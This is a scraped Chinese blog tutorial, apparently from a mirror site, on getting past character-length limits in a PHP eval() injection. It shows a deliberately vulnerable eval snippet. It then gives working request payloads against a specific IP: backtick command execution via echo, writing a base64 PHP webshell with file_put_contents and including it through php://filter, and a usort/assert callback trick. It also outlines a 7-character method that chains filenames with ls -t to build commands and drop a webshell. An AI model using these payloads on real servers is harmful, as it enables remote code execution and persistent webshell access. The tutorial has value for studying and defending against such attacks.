当前位置: 首页 > news >正文

EVAL长度突破限制

目录

突破15位限制

代码

绕过方式

第一种(使用echo执行)

第二种(使用file_get_content追加文件后进行问件包含)

第三种(使用usort可变长参数)

突破7位限制

第一种(可以使用>创建文件然后将文件名按时间顺序读取执行)


突破15位限制

代码

首先输入eval,限制param不能超过17位然后,这个输入里面不能包含eval和assert

<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

绕过方式

第一种(使用echo执行)

http://192.168.244.152:8080/web.php?param=echo%20`$_GET[1]`;&1=id

代码执行转换为命令执行

第二种(使用file_get_content追加文件后进行问件包含)

http://192.168.244.152:8080/web.php?1=file_put_contents&param=$_GET[1](N,P,8);

往目录下写文件,然后将一串base64编码追加进去,为啥要用base64是因为一些特殊字符在file_get_content追加不了的

追加后的值,这个base64编码解码后的值是<?php eval($_POST[9]);

然后使用php伪协议将代码转成一个正常的字符,然后使用文件包含直接执行

http://192.168.244.152:8080/web.php?include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

第三种(使用usort可变长参数)

1[]=test&1[]=phpinfo();&2=assert

注意这里由于有些php版本将usort删掉了所以要使用5.6版本

突破7位限制

第一种(可以使用>创建文件然后将文件名按时间顺序读取执行)

w 长度最短的命令
ls -t 以创建时间来列出当前目录下所有文件
文件列表以[换行符]分割每个文件
引入 `\` 转义ls时的换行
换行不影响命令执行
成功构造任意命令执行,写入Webshell

使用base64的原因就是有些特殊字符没有办法插入

最终文件

http://www.lryc.cn/news/423948.html

相关文章:

  • 如何判断树上一个点是否在直径上
  • docker 部署 RabbitMQ
  • 设计模式 - 过滤器模式
  • 使用 Locust 进行本地压力测试
  • 【图形学】TA之路-矩阵应用平移-旋转-大小
  • Spring 循环依赖解决方案
  • 可视化大屏:如何get到领导心目中的“科技感”?
  • 基于Python的金融数据采集与分析的设计与实现
  • 使用Sanic和SSE实现实时股票行情推送
  • redis散列若干记录
  • Java面试八股之什么是STOMP协议
  • 【自用】Python爬虫学习(一):爬虫基础与四个简单案例
  • [python]uiautomation.WindowControl函数用法
  • 学习记录第二十七天
  • servlet的执行顺序
  • Go语言 类封装和绑定方法
  • DirectShow过滤器开发-写WAV音频文件过滤器
  • php根据截止时间计算剩余的时间,并且在剩余时间不足1天时仅显示小时数
  • Docker最佳实践进阶(一):Dockerfile介绍使用
  • Anything in Any Scene:无缝融入任何场景,实现逼真视频对象插入技术
  • 安卓开发中的AppCompat框架|安卓系统|安卓应用|兼容性|UI组件|核心组件|ActionBar|Fragment|最佳实践|框架|移动开发|移动应用
  • React使用useRef ts 报错
  • python-信息交互-pyautogui
  • flink1.18 编译遇到的问题
  • 2024年8月份编译Openwrt系统基础
  • Vue3+vite+ts 项目使用mockjs
  • 动态规划(二)——例题
  • Node.js中判断是文件还是文件夹的多种方法
  • idea 如何打war包
  • 米联客-FPGA程序设计Verilog语法入门篇连载-15 Verilog语法_跨时钟域设计